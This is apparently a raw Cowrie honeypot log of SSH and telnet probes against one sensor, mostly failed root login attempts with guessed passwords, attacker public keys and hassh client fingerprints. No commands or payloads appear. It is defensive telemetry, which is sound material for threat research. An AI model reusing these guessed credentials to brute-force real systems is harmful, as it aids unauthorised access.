{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ae:47:fc:70:4d:e7:ba:cc:77:d7:87:2a:46:62:35:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDe+k9ALrnpY645mpMas5AUce1bB+MpdjIPDr1sRi7f2ZzM/7Hh8YPj+OLjg0t36ICjXuIcCQbTepMEgwfEH9VEdPEjMBJ+CJ8sRYSjbyZSZeNGEtvtOlUqcSWox42s6DvF2caTSV43GdxaX/DGNvhWkIBA7lqcfSE1sn7boz+Vv7gO7qVziLlAeqqumgp0zskqHCqCUT6FPQbh9Xl8RW+AlxBdBBTA0cAFC11XHHbQ9ODi39+K8o+XJC5U4mPxZwhqg2tzX7UOTfyMQrlrLV8z0CJ4x3pCDYQS9ZgRxCpMb7N7A3LzcguRqxi9KWkg8IsDRxjL8IUILvz3Z3zfIvx6JdvNSfZsZht6FAFKWlS0oSm2f2lzDlVf84br+FHrw5VnVOtbe9+oVSUxlMXFL0cAB80Tm+7OkjrHCRaQtGe9MdYCQ1quM28F2c1JQ4HAwost8JXkor5cA8LF3r3+z/+stNzxgm//BGdPZS5rQi32CaOmGopjSZCdBL6429Pi3fvHF108/equZXFW3vsvJH0gbpb43JH69GUVRkfIIGF0nB6DDUs++cstHTlh8XjxgR02MIxOXvw1R6gAKzybWv9aPVTUD+BSMrWntzZ5/enL4oWmmAFeL/ebDAE4QojfoICvN8YHZxZLTwVGug8XceG8NlaVy6s4PqSF/JY5rHk4AQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:44:30.291886Z","src_ip":"206.212.244.18","session":"67061ffea4d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:44:30.307133Z","src_ip":"206.212.244.18","session":"67061ffea4d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":52354,"dst_ip":"10.17.0.5","dst_port":22,"session":"37973c5861c7","protocol":"ssh","message":"New connection: 103.122.221.179:52354 (10.17.0.5:22) [session: 37973c5861c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:44:32.710272Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:44:32.714917Z","src_ip":"103.122.221.179","session":"37973c5861c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:44:32.970602Z","src_ip":"103.122.221.179","session":"37973c5861c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"makaka","message":"login attempt [root/makaka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:44:33.735657Z","src_ip":"103.122.221.179","session":"37973c5861c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:44:34.993766Z","src_ip":"103.122.221.179","session":"37973c5861c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.88228940963745,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:44:40.504686Z","src_ip":"192.119.13.58","session":"46bbed31b729","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.433632135391235,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:44:49.665711Z","src_ip":"192.119.13.58","session":"9cc35eef7618","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.13344168663025,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:44:52.166826Z","src_ip":"192.119.13.58","session":"0214da6b90b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.20777726173401,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:44:58.829473Z","src_ip":"192.119.13.58","session":"fcd189fcf61c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.76786494255066,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:45:00.518951Z","src_ip":"192.119.13.58","session":"abe11a035a0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":42918,"dst_ip":"159.203.135.109","dst_port":22,"session":"aefd92f510cb","protocol":"ssh","message":"New connection: 194.113.233.25:42918 (159.203.135.109:22) [session: aefd92f510cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:45:31.272978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:45:31.278045Z","src_ip":"194.113.233.25","session":"aefd92f510cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:45:31.369314Z","src_ip":"194.113.233.25","session":"aefd92f510cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qawsedrf","message":"login attempt [root/qawsedrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:45:31.640773Z","src_ip":"194.113.233.25","session":"aefd92f510cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:45:32.735394Z","src_ip":"194.113.233.25","session":"aefd92f510cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60890,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f6b95584d22","protocol":"telnet","message":"New connection: 192.119.13.58:60890 (10.17.0.5:23) [session: 7f6b95584d22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:45:40.823043Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42810,"dst_ip":"10.17.0.5","dst_port":23,"session":"8be1697a4b2e","protocol":"telnet","message":"New connection: 192.119.13.58:42810 (10.17.0.5:23) [session: 8be1697a4b2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:45:58.578827Z"}
{"eventid":"cowrie.session.closed","duration":42.58961534500122,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:46:23.412537Z","src_ip":"192.119.13.58","session":"7f6b95584d22","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":38088,"dst_ip":"10.17.0.5","dst_port":22,"session":"898c5f3730be","protocol":"ssh","message":"New connection: 103.27.238.116:38088 (10.17.0.5:22) [session: 898c5f3730be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:46:40.491125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:46:40.499243Z","src_ip":"103.27.238.116","session":"898c5f3730be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:46:40.767224Z","src_ip":"103.27.238.116","session":"898c5f3730be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.835877895355225,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:46:41.414529Z","src_ip":"192.119.13.58","session":"8be1697a4b2e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"y123456","message":"login attempt [root/y123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:46:41.571268Z","src_ip":"103.27.238.116","session":"898c5f3730be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:46:42.841527Z","src_ip":"103.27.238.116","session":"898c5f3730be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59326,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b580be1104a","protocol":"telnet","message":"New connection: 192.119.13.58:59326 (10.17.0.5:23) [session: 1b580be1104a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:46:47.731184Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":50408,"dst_ip":"159.203.135.109","dst_port":22,"session":"07af8d311028","protocol":"ssh","message":"New connection: 109.237.96.109:50408 (159.203.135.109:22) [session: 07af8d311028]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:46:56.149892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:46:56.154645Z","src_ip":"109.237.96.109","session":"07af8d311028","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:46:56.292346Z","src_ip":"109.237.96.109","session":"07af8d311028","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"666777","message":"login attempt [root/666777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:46:56.722736Z","src_ip":"109.237.96.109","session":"07af8d311028","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:46:57.857381Z","src_ip":"109.237.96.109","session":"07af8d311028","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33526,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cdc0d7eb1d8","protocol":"telnet","message":"New connection: 192.119.13.58:33526 (10.17.0.5:23) [session: 0cdc0d7eb1d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:47:02.049536Z"}
{"eventid":"cowrie.session.connect","src_ip":"79.127.181.44","src_port":34469,"dst_ip":"10.17.0.5","dst_port":22,"session":"a486d7efc973","protocol":"ssh","message":"New connection: 79.127.181.44:34469 (10.17.0.5:22) [session: a486d7efc973]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:47:07.801217Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.98.151.17","src_port":57074,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c3a48b8b0c3","protocol":"ssh","message":"New connection: 91.98.151.17:57074 (10.17.0.5:22) [session: 9c3a48b8b0c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:47:07.898330Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:47:07.902390Z","src_ip":"91.98.151.17","session":"9c3a48b8b0c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:47:07.998174Z","src_ip":"91.98.151.17","session":"9c3a48b8b0c3","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:47:08.008116Z","src_ip":"79.127.181.44","session":"a486d7efc973","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:47:08.209965Z","src_ip":"79.127.181.44","session":"a486d7efc973","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:47:08.214761Z","src_ip":"79.127.181.44","session":"a486d7efc973","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7b:c6:14:5d:dc:9b:4d:0f:7d:ce:2e:1d:e4:d2:4b:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwmKUA+uryAStxhgHZjn+WAK2RVAkaEQecuxBQeeY5UNdKk1kvPeI2uUYQwb4H8DW57py3Z/urMEpCOZ4Rhbh6Jtx+O07uWx29Nc8y5vEFqEwd0b3hkA/OTLJRf5VjKN3RjxVIBzLjbFPdurGxAAkFdUq2SRhX+d1+/+6TzQtWWqdstMdi2boVHsqXDh3JX4q44IjAuEkBEMwRK0qTDbEJENikZtcQLkiK5FRoZ5NkT9oqIHspKbTT6uocDTv3mfLD6zZD+JlEXFS/e1kv3OfyswXAybSg4uqpmstxNpIrOtBTjCpJlwOwReonQA8NrNb+5FSEfA70/MVJrEnvAf/9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7b:c6:14:5d:dc:9b:4d:0f:7d:ce:2e:1d:e4:d2:4b:e8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:47:08.437424Z","src_ip":"91.98.151.17","session":"9c3a48b8b0c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7b:c6:14:5d:dc:9b:4d:0f:7d:ce:2e:1d:e4:d2:4b:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwmKUA+uryAStxhgHZjn+WAK2RVAkaEQecuxBQeeY5UNdKk1kvPeI2uUYQwb4H8DW57py3Z/urMEpCOZ4Rhbh6Jtx+O07uWx29Nc8y5vEFqEwd0b3hkA/OTLJRf5VjKN3RjxVIBzLjbFPdurGxAAkFdUq2SRhX+d1+/+6TzQtWWqdstMdi2boVHsqXDh3JX4q44IjAuEkBEMwRK0qTDbEJENikZtcQLkiK5FRoZ5NkT9oqIHspKbTT6uocDTv3mfLD6zZD+JlEXFS/e1kv3OfyswXAybSg4uqpmstxNpIrOtBTjCpJlwOwReonQA8NrNb+5FSEfA70/MVJrEnvAf/9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:47:08.444293Z","src_ip":"91.98.151.17","session":"9c3a48b8b0c3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c9:92:ae:44:cf:96:be:07:39:13:0d:65:5b:5e:57:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5jPSw3bPKhd755AG1DyL8Hgf1xCQVMygYHSYSMXFplX8yoJEuYra3vAXrI3FaK0JrzF+kCbhhddtwLYU9UBPHtqOYfmPEtsBSsbaMmMuZ8VScJRWC9B/jdAbNJSgqW0hknKuTRh9c8VSA7Yjww/FicwrRQYPDRoMV8AniZXZnKUzetrn/fqGNTVgJhFQYKZC9LkBiR/dmax8X1JtIj1wO1KZI6I4FbIczDsFPmnkdP7N5ltMF1JQzTN5uvWQZExrOsmdGTzSXj3hyszsLrXbEMh51pYET/V4p7aZ0J+qPFYTf/UBVnPbgLkbjqDGsZL7MdQfn+mN7avIs6JG97b3r","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c9:92:ae:44:cf:96:be:07:39:13:0d:65:5b:5e:57:82","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:47:08.538341Z","src_ip":"91.98.151.17","session":"9c3a48b8b0c3","protocol":"ssh"}
